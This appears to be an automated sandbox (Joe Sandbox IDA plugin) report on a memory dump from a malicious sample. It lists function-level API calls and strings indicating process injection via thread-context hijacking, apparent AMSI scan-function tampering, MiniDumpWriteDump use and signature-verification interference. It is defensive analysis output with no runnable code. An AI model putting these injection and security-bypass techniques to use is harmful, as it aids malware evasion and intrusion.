Heap32ListFirst, xrefs: 02B3A992
Heap32First, xrefs: 02B3A9B6
Module32First, xrefs: 02B3AA58
kernel32.dll, xrefs: 02B3A96B
Module32Next, xrefs: 02B3AA6A
Thread32First, xrefs: 02B3AA34

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 4e7828d299dbc12f59c558d179c735b508e92e8071a981a40cf83eb984af73ea
Instruction ID: a8de1e86de42f05134b81f3a60e823412fa506f13bb9913e2452949a06195e9f
Opcode Fuzzy Hash: 4e7828d299dbc12f59c558d179c735b508e92e8071a981a40cf83eb984af73ea
Instruction Fuzzy Hash: 6231D8B0A91360AFEB12EFA8D885AE637E9EB06740B1009E5B04ADF215E7749815CF51

Function 02B38BB0 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 02B38824: LoadLibraryA.KERNEL32(00000000,00000000,02B3890B), ref: 02B38858
Part of subcall function 02B38824: FreeLibrary.KERNEL32(74D80000,00000000,02B81388,Function_000065D8,00000004,02B81398,02B81388,05F5E0FF,00000040,02B8139C,74D80000,00000000,00000000,00000000,00000000,02B3890B), ref: 02B388EB

GetThreadContext.KERNEL32(00000000,02B81420,ScanString,02B813A4,02B3A77C,UacInitialize,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,UacInitialize,02B813A4), ref: 02B39442

Part of subcall function 02B37D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B37D74

SetThreadContext.KERNEL32(00000000,02B81420,ScanBuffer,02B813A4,02B3A77C,ScanString,02B813A4,02B3A77C,Initialize,02B813A4,02B3A77C,00000000,-00000008,02B814F8,00000004,02B814FC), ref: 02B3A157
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,02B81420,ScanBuffer,02B813A4,02B3A77C,ScanString,02B813A4,02B3A77C,Initialize,02B813A4,02B3A77C,00000000,-00000008,02B814F8), ref: 02B3A164

Part of subcall function 02B387A0: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02B813A4,02B3A3C7,ScanString,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,Initialize,02B813A4,02B3A77C,UacScan), ref: 02B387B4
Part of subcall function 02B387A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B387CE
Part of subcall function 02B387A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02B813A4,02B3A3C7,ScanString,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,Initialize), ref: 02B3880A

Strings

MiniDumpReadDumpStream, xrefs: 02B3A568
NtReadVirtualMemory, xrefs: 02B3A460
ScanBuffer, xrefs: 02B38D0C, 02B38D94, 02B3912F, 02B39244, 02B392E1, 02B3961A, 02B397A1, 02B39934, 02B39B19, 02B39C2E, 02B39DEC, 02B39F5C, 02B3A0CF, 02B3A2C3, 02B3A4E1, 02B3A627
OpenSession, xrefs: 02B38BE9, 02B3900C, 02B390BE, 02B3A48F, 02B3A5D5
BCryptVerifySignature, xrefs: 02B3A3B3
bcrypt, xrefs: 02B3A3B8, 02B3A3CC, 02B3A3E0
BCryptQueryProviderRegistration, xrefs: 02B3A3C7
ntdll, xrefs: 02B3A465, 02B3A479, 02B3A531, 02B3A6D4, 02B3A6E8
dbgcore, xrefs: 02B3A559, 02B3A56D
UacScan, xrefs: 02B38CB3, 02B38ECB, 02B394C7, 02B398C3, 02B39A37, 02B3A1E1, 02B3A679
MiniDumpWriteDump, xrefs: 02B3A554
ScanString, xrefs: 02B38C42, 02B38DED, 02B38F9B, 02B393C3, 02B395A9, 02B39730, 02B39BBD, 02B39D7B, 02B39EEB, 02B3A05E, 02B3A349, 02B3A3F6
NtOpenObjectAuditAlarm, xrefs: 02B3A474, 02B3A52C
SLGetLicenseInformation, xrefs: 02B3919F
Initialize, xrefs: 02B38F2A, 02B39538, 02B396BF, 02B39AA8, 02B39D0A, 02B39E7A, 02B39FED, 02B3A252, 02B3A583
I_QueryTagInformation, xrefs: 02B3A540
UacInitialize, xrefs: 02B38E72, 02B391D3, 02B39352, 02B39456, 02B39852, 02B399C6, 02B3A170
NtOpenProcess, xrefs: 02B3A6E3
NtSetSecurityObject, xrefs: 02B3A6CF
sppc, xrefs: 02B391B6
advapi32, xrefs: 02B3A545
BCryptRegisterProvider, xrefs: 02B3A3DB

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Library$Thread$ContextFreeLoad$AddressMemoryProcResumeVirtualWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 3455621253-51457883
Opcode ID: e8585673ab2303c9f62c74dff5ba44293d1801885ff68c68c2e959172329f1c4
Instruction ID: 5d80904e685b634a922571d540a3fef8801116da203dbd8c8b88fc35625ce5e1
Opcode Fuzzy Hash: e8585673ab2303c9f62c74dff5ba44293d1801885ff68c68c2e959172329f1c4
Instruction Fuzzy Hash: 0EE2F135A502289FDB12FB64DCD4ADE73BAAF49310F1045E1E14DABA14DE30AE4ACF51

Function 02B38BAE Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02B38824: LoadLibraryA.KERNEL32(00000000,00000000,02B3890B), ref: 02B38858
Part of subcall function 02B38824: FreeLibrary.KERNEL32(74D80000,00000000,02B81388,Function_000065D8,00000004,02B81398,02B81388,05F5E0FF,00000040,02B8139C,74D80000,00000000,00000000,00000000,00000000,02B3890B), ref: 02B388EB

GetThreadContext.KERNEL32(00000000,02B81420,ScanString,02B813A4,02B3A77C,UacInitialize,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,UacInitialize,02B813A4), ref: 02B39442

Strings

MiniDumpReadDumpStream, xrefs: 02B3A568
NtReadVirtualMemory, xrefs: 02B3A460
ScanBuffer, xrefs: 02B38D0C, 02B38D94, 02B3912F, 02B39244, 02B392E1, 02B3961A, 02B397A1, 02B39934, 02B39B19, 02B39C2E, 02B39DEC, 02B39F5C, 02B3A0CF, 02B3A2C3, 02B3A4E1, 02B3A627
OpenSession, xrefs: 02B38BE9, 02B3900C, 02B390BE, 02B3A48F, 02B3A5D5
BCryptVerifySignature, xrefs: 02B3A3B3
bcrypt, xrefs: 02B3A3B8, 02B3A3CC, 02B3A3E0
BCryptQueryProviderRegistration, xrefs: 02B3A3C7
ntdll, xrefs: 02B3A465, 02B3A479, 02B3A531, 02B3A6D4, 02B3A6E8
dbgcore, xrefs: 02B3A559, 02B3A56D
UacScan, xrefs: 02B38CB3, 02B38ECB, 02B394C7, 02B398C3, 02B39A37, 02B3A1E1, 02B3A679
MiniDumpWriteDump, xrefs: 02B3A554
ScanString, xrefs: 02B38C42, 02B38DED, 02B38F9B, 02B393C3, 02B395A9, 02B39730, 02B39BBD, 02B39D7B, 02B39EEB, 02B3A05E, 02B3A349, 02B3A3F6
NtOpenObjectAuditAlarm, xrefs: 02B3A474, 02B3A52C
SLGetLicenseInformation, xrefs: 02B3919F
Initialize, xrefs: 02B38F2A, 02B39538, 02B396BF, 02B39AA8, 02B39D0A, 02B39E7A, 02B39FED, 02B3A252, 02B3A583
I_QueryTagInformation, xrefs: 02B3A540
UacInitialize, xrefs: 02B38E72, 02B391D3, 02B39352, 02B39456, 02B3A170
NtOpenProcess, xrefs: 02B3A6E3
NtSetSecurityObject, xrefs: 02B3A6CF
sppc, xrefs: 02B391B6
advapi32, xrefs: 02B3A545
BCryptRegisterProvider, xrefs: 02B3A3DB

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Library$ContextFreeLoadThread
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 720575881-51457883
Opcode ID: a1091d61d14678cda9ba7a50783e45eda525329b41f1dbc23ed9ce3d40630be1
Instruction ID: 426d037180404ffe6b50f10745bfba0fbfc13d659e8616499e25edd1c9c24bac
Opcode Fuzzy Hash: a1091d61d14678cda9ba7a50783e45eda525329b41f1dbc23ed9ce3d40630be1
Instruction Fuzzy Hash: F5E2F135A502289FDB12FB64DCD4ADE73BAAF49310F1045E1E14DABA14DE30AE4ACF51

Function 02B258B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02B26BD0,02B20000,02B4D790), ref: 02B258D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02B258E8
lstrcpynA.KERNEL32(?,?,?), ref: 02B25918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02B26BD0,02B20000,02B4D790), ref: 02B2597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02B26BD0,02B20000,02B4D790), ref: 02B259B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02B26BD0,02B20000,02B4D790), ref: 02B259C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B26BD0,02B20000,02B4D790), ref: 02B259D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B26BD0,02B20000,02B4D790), ref: 02B259E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B26BD0,02B20000), ref: 02B25A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02B26BD0), ref: 02B25A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02B25A45

Strings

GetLongPathNameA, xrefs: 02B258DF
kernel32.dll, xrefs: 02B258CC
\, xrefs: 02B259F5

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 872f257b6b04869d87247dd964f354147b7dffd4ccc2b38a04f8a74b8bb427a6
Instruction ID: ef19b5861f0a776c3709b57b8a60613d9e1f53b3104abb0afcf131cdb76060ab
Opcode Fuzzy Hash: 872f257b6b04869d87247dd964f354147b7dffd4ccc2b38a04f8a74b8bb427a6
Instruction Fuzzy Hash: 80415C71D00369AFDB20DAE8CC88ADEB3ADEB09310F4445E5A55DE7242D770DB488F50

Function 02B25B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02B25B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02B25BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02B25BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02B25BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B25C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B25C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B25C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B25C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02B25C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02B25C97

Strings

Software\Borland\Locales, xrefs: 02B25AA8, 02B25AC6
Software\Borland\Delphi\Locales, xrefs: 02B25AE4

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 4e7c4795c87d4e92b067478b9e8efea4f613c2413f3a0341889c71a407bfe146
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: 723147B1E5033C6AEB35DAB89C45BEF77AD9B04380F4441E1A64CE6182E6749E8C8F50

Function 02B387A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02B813A4,02B3A3C7,ScanString,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,Initialize,02B813A4,02B3A77C,UacScan), ref: 02B387B4
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B387CE
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02B813A4,02B3A3C7,ScanString,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,Initialize), ref: 02B3880A

Part of subcall function 02B37D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B37D74

Strings

BCryptVerifySignature, xrefs: 02B387C7
bcrypt, xrefs: 02B387B3

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 07fcf97a99ee3a6aa31800f43b9427f45d6908b92859ef0c25edcc3d0574ce29
Instruction ID: 3be5c9e1a678c0587999247d3a10623b0e4618c936550ad0917031dfc5cfc97b
Opcode Fuzzy Hash: 07fcf97a99ee3a6aa31800f43b9427f45d6908b92859ef0c25edcc3d0574ce29
Instruction Fuzzy Hash: F1F062B1EA33187EEB11AF6CAC45FB6739CE7863D5F0089A9B10C87540C7705856CB50

Function 02B3DACC Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02B24ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02B24EDA

RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B3DB9E), ref: 02B3DB0B
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B3DB45
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B3DB72
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B3DB7B

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: File$AllocCloseCreateStringWrite
String ID:
API String ID: 3308905243-0
Opcode ID: 3dcd318551691f1cf31ebc105946344c3e414811ff2a8e68a3f60c51cd78ef7d
Instruction ID: ea693329444560d0910b91d551e8cfdd497cdab07aa6ececfbbb0721085894a0
Opcode Fuzzy Hash: 3dcd318551691f1cf31ebc105946344c3e414811ff2a8e68a3f60c51cd78ef7d
Instruction Fuzzy Hash: 6B21ED71A40319BAEB11EAE4CD46FDEB7BDEB04B00F5045A1B704F75D0D7B06A048AA5

Function 02B3D9F0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 02B3DA6C
RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B3DABE), ref: 02B3DA82
NtDeleteFile.NTDLL(?), ref: 02B3DAA1

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: DeleteFileInitStringUnicode
String ID:
API String ID: 3559453722-0
Opcode ID: 13f613d322cd672c65c1d9ca7788e916ec27edc242f77f04978a3ca971f64ad3
Instruction ID: f0649e0d32ed293cdce5fc5eb86723b8057f1dc7e04b737bcff1f443ea287b15
Opcode Fuzzy Hash: 13f613d322cd672c65c1d9ca7788e916ec27edc242f77f04978a3ca971f64ad3
Instruction Fuzzy Hash: 0D014F75908349BEEB06EAA08A41BCD77B9AB44704F5004D2E324E7091DA746B088B25

Function 02B3DA44 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B24ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02B24EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 02B3DA6C
RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B3DABE), ref: 02B3DA82
NtDeleteFile.NTDLL(?), ref: 02B3DAA1

Part of subcall function 02B24C0C: SysFreeString.OLEAUT32(02B3E950), ref: 02B24C1A

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: String$AllocDeleteFileFreeInitUnicode
String ID:
API String ID: 2841551397-0
Opcode ID: 790b1224749bd7f52d2e961ca6845c71044e3abda14a5ca9fcb3189edfb4fc98
Instruction ID: 3ff7c5d1a27a9d3004802d3d401e6e3bece05da236d266977e969a5260ae3933
Opcode Fuzzy Hash: 790b1224749bd7f52d2e961ca6845c71044e3abda14a5ca9fcb3189edfb4fc98
Instruction Fuzzy Hash: F001EC71A0430DAAEB15EAE4CE52FDEB3BDEB48700F5045A1E614E2590EB74AB048A64

Function 02B27F5A Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02B27F7D

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 60a0a3317bc6745db68fd0609a05e035b6386226a90ab679635ab5dbfaeb8164
Instruction ID: 9311d031a8be2f8e861c8ca604ef2a90e916dfa18c5e39a9d79241812cfc996b
Opcode Fuzzy Hash: 60a0a3317bc6745db68fd0609a05e035b6386226a90ab679635ab5dbfaeb8164
Instruction Fuzzy Hash: D31100B5A00209AF9B04CF99C9809EFF7F9EFC8314B14C569A509EB254E6319A058B90

Function 02B2A74C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B2A76A

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
Instruction ID: f853e9a10902f6070be34d089937fca734024750f852f86f0bde1e340560638e
Opcode Fuzzy Hash: 2128b34291823b7b3d39fc22196f9eeb1ad11300c5a3118c73b07de52b1b2571
Instruction Fuzzy Hash: 20E0D8357003241BD312A5585C80DF6B36D9B5C310F0041FEBD4CC7341EEA09D484EE8

Function 02B2B714 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,02B4C106,00000000,02B4C11E), ref: 02B2B722

Memory Dump Source

